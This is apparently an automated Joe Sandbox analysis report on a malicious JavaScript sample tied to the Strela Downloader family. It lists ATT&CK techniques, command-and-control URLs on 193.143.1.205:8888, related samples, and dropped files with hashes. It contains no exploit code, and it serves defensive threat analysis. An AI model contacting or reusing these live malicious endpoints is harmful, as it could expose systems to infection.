Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10266121931448610316.js	3%	Virustotal		Browse
10266121931448610316.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/#t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888//t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Sw	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/KI	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/#t	net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2791804617.000002946E411000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1601802273.000002946E2C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/KI	net.exe, 00000007.00000002.1602470375.000002494BB88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Sw	net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888//t	net.exe, 00000007.00000002.1602546219.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1600752870.000002494BBBD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587722
Start date and time:	2025-01-10 17:23:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10266121931448610316.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.22.50.131, 2.22.50.144, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 4.245.163.56, 23.206.229.226, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:24:42	API Interceptor	30x Sleep call for process: powershell.exe modified
11:24:46	API Interceptor	1x Sleep call for process: net.exe modified
11:24:47	API Interceptor	2x Sleep call for process: svchost.exe modified
11:24:55	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022051887664051
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAw:RJE+Lfki1GjHwU/+vVhWqpp
MD5:	C23494F89DEF390AECC4719290BE53A9
SHA1:	394CA517137953CAB8482833C71224713FCE02A9
SHA-256:	B8E9D59ADC44B9CA0E47911797CF94FF8284515FB69FC4A21D3DA825CF82E943
SHA-512:	A4DBF1646885CAB4F5FF4A65749540FFCE84F9793D0F6187008CA5626CC95B578B7F0E016DE9264586DA48C5AFDFEF434EDF6AB58950B3C43B0062B4778B440F
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd0ad60d9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433012236401518
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	A6C558D059AD462FF082A004D6DF068A
SHA1:	B73B301FFB1BC3EF7003F291B41048515AECCCD6
SHA-256:	CEE82C0505CD2A81973906E5A1B8323E57614D5D2DD39150C413A37F66199064
SHA-512:	ED46BB9896BD55E828C9970271171A3E004A533A1D95EE50848D502D12D295FB73E35DE2C4AF30CA1CF0E8BBDE07AB92324FDD2DA1A9E8E4946CC5B29C33763D
Malicious:	false
Preview:	.`.... ...............X\...;...{......................0.x...... ...{s./....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................c.d/....}....................../....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08143940436323992
Encrypted:	false
SSDEEP:	3:UUYe9oqll/nqlFcl1ZUlllls91vRMAllGBnX/l/Tj/k7/t:UUz9oqll/qlFclQ/lu9lRMA254
MD5:	206FC78AEE0201EDCBEBEC5A866CC59B
SHA1:	D919C1A8503962AFDC678F75E8256C2F57CC78F4
SHA-256:	A30FBB915F48A381A712A4E2D959D8DCB8635D4743D588FF48DFAD48539B459B
SHA-512:	05D4A5ABDA074E0E373B6E86253D9A048C1B60C51618EE2F44FCD9263D104222F59084B922E26304BDF917BD38AD6DE34DE26F52D091678CC09C9B7242BFD063
Malicious:	false
Preview:	xF......................................;...{../....}... ...{s.......... ...{s.. ...{s.P.... ...{s...................../....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.201184827519846
Encrypted:	false
SSDEEP:	6:iO4f4QL+q2PCHhJ2nKuAl9OmbnIFUtSfFG1ZmwsfFQLVkwOCHhJ2nKuAl9OmbjLJ:7U4VvBHAahFUtyFG1/QFI56HAaSJ
MD5:	495FAF3AF29B0FD5A361BDAA36F031DE
SHA1:	9726C02E515D8C9756625636963531DE745A8E19
SHA-256:	82AEB5F80AD50B1E14111580C919BB1E7DCC2D760215F2BF99502E839A6EC543
SHA-512:	C2B30F3679FE23B39BD5CFDB5FB6A179FE688A0FB9B1755928794737337AB47F1DDB3197409B2F019677D01AA9E1F686B798CAF9CBDD0C30605C39599D89D247
Malicious:	false
Preview:	2025/01/10-11:24:47.015 16c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:24:47.018 16c8 Recovering log #3.2025/01/10-11:24:47.018 16c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.201184827519846
Encrypted:	false
SSDEEP:	6:iO4f4QL+q2PCHhJ2nKuAl9OmbnIFUtSfFG1ZmwsfFQLVkwOCHhJ2nKuAl9OmbjLJ:7U4VvBHAahFUtyFG1/QFI56HAaSJ
MD5:	495FAF3AF29B0FD5A361BDAA36F031DE
SHA1:	9726C02E515D8C9756625636963531DE745A8E19
SHA-256:	82AEB5F80AD50B1E14111580C919BB1E7DCC2D760215F2BF99502E839A6EC543
SHA-512:	C2B30F3679FE23B39BD5CFDB5FB6A179FE688A0FB9B1755928794737337AB47F1DDB3197409B2F019677D01AA9E1F686B798CAF9CBDD0C30605C39599D89D247
Malicious:	false
Preview:	2025/01/10-11:24:47.015 16c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:24:47.018 16c8 Recovering log #3.2025/01/10-11:24:47.018 16c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.155430160147559
Encrypted:	false
SSDEEP:	6:iO4fGt+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSffZmwsf+eUVkwOCHhJ2nKuAl9OmbX:7UGovBHAa8uFUtyf/Q+e056HAa8RJ
MD5:	0D45267A3E26D7585509E7144107BBBC
SHA1:	965AFFE4FC28CE4584DCFA88B2A676371DF110DF
SHA-256:	A073EDB0ACF7117EB733EC1E967D1006BB67D081DD76C34FAC2D03415795B220
SHA-512:	D19433EBF1EE90D8075CAABF8291A9CBF76E17B7C751841D03E748C403E9B023B237D6208A1F6245BA6E5B4FAC47E7236567C3F011E8DC80D9F9DDEFB759916A
Malicious:	false
Preview:	2025/01/10-11:24:47.209 14e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:24:47.211 14e8 Recovering log #3.2025/01/10-11:24:47.212 14e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.155430160147559
Encrypted:	false
SSDEEP:	6:iO4fGt+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSffZmwsf+eUVkwOCHhJ2nKuAl9OmbX:7UGovBHAa8uFUtyf/Q+e056HAa8RJ
MD5:	0D45267A3E26D7585509E7144107BBBC
SHA1:	965AFFE4FC28CE4584DCFA88B2A676371DF110DF
SHA-256:	A073EDB0ACF7117EB733EC1E967D1006BB67D081DD76C34FAC2D03415795B220
SHA-512:	D19433EBF1EE90D8075CAABF8291A9CBF76E17B7C751841D03E748C403E9B023B237D6208A1F6245BA6E5B4FAC47E7236567C3F011E8DC80D9F9DDEFB759916A
Malicious:	false
Preview:	2025/01/10-11:24:47.209 14e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:24:47.211 14e8 Recovering log #3.2025/01/10-11:24:47.212 14e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7sBdOg2H+caq3QYiub6P7E4T3y:Y2sRdsxdMHB3QYhbS7nby
MD5:	B45EC1452706E6462336737A1801132E
SHA1:	967C7E2DC0A8283DB2E541D33A37288CD5DA1083
SHA-256:	619A853C12BE9EA87307D53ADEA626ECECC8A1CC3ECE5C9E7FE1767949F853F1
SHA-512:	7EF186D703C2BE5CE933CB86B48C59C0A43BF1968BDAF081CCF5C19DA9BDF16BFD0D2E0EEA26B5EEF96982C8FC5CE7EB4973BAEAE7F8841F160F30D722849B72
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086298608767","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":184841},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a4742a2c-4073-4ada-ac56-d7cc35ae2206.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7sBdOg2H+caq3QYiub6P7E4T3y:Y2sRdsxdMHB3QYhbS7nby
MD5:	B45EC1452706E6462336737A1801132E
SHA1:	967C7E2DC0A8283DB2E541D33A37288CD5DA1083
SHA-256:	619A853C12BE9EA87307D53ADEA626ECECC8A1CC3ECE5C9E7FE1767949F853F1
SHA-512:	7EF186D703C2BE5CE933CB86B48C59C0A43BF1968BDAF081CCF5C19DA9BDF16BFD0D2E0EEA26B5EEF96982C8FC5CE7EB4973BAEAE7F8841F160F30D722849B72
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086298608767","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":184841},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.230839734783022
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bJFi2A:S43C4mS7fFi0KFYDjr3LWO3V3aw+bJF+
MD5:	39708862FB9407F756F468C9CA10D549
SHA1:	781BB73EB85FE0255F00A5AA8080B6ABA3728457
SHA-256:	9D2412ECB4339C52146B0C60540B788FC3520A6570A310351E9F5BE32A951A63
SHA-512:	B272F6239CB063475CF8018AFF18E27ADB7495C2FE60C3FE0E1099473632FB9E6F7FBE0EA7F21F74B63C5292B2FDD5D35E8DC2154A5ABF8A106521FE5456B7AD
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210320751192972
Encrypted:	false
SSDEEP:	6:iO4fPV+q2PCHhJ2nKuAl9OmbzNMxIFUtSfq/XZmwsfJVVkwOCHhJ2nKuAl9OmbzE:7UovBHAa8jFUtyq/X/QJb56HAa84J
MD5:	0F7AD864D8AD08C9CA2CDB1965026878
SHA1:	DD46A4C8D118848FAEC26B1999C6542C1B1CD61F
SHA-256:	4E4A215DDFAF0DD5B83E52EF45C0E6FAA18A876CA5CCB1FBED4BA666A42D107D
SHA-512:	06D0DB0C45F5012EFD10E22AF9EBDCDAC19AAEA5B43D35EB4B50DE373C22AEA197FDE0BEBCA85BFF5290254460DA1DFFC84EF72A1FF0DADD9C8F7784EE9D0DA6
Malicious:	false
Preview:	2025/01/10-11:24:47.792 14e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:24:47.793 14e8 Recovering log #3.2025/01/10-11:24:47.794 14e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210320751192972
Encrypted:	false
SSDEEP:	6:iO4fPV+q2PCHhJ2nKuAl9OmbzNMxIFUtSfq/XZmwsfJVVkwOCHhJ2nKuAl9OmbzE:7UovBHAa8jFUtyq/X/QJb56HAa84J
MD5:	0F7AD864D8AD08C9CA2CDB1965026878
SHA1:	DD46A4C8D118848FAEC26B1999C6542C1B1CD61F
SHA-256:	4E4A215DDFAF0DD5B83E52EF45C0E6FAA18A876CA5CCB1FBED4BA666A42D107D
SHA-512:	06D0DB0C45F5012EFD10E22AF9EBDCDAC19AAEA5B43D35EB4B50DE373C22AEA197FDE0BEBCA85BFF5290254460DA1DFFC84EF72A1FF0DADD9C8F7784EE9D0DA6
Malicious:	false
Preview:	2025/01/10-11:24:47.792 14e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:24:47.793 14e8 Recovering log #3.2025/01/10-11:24:47.794 14e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
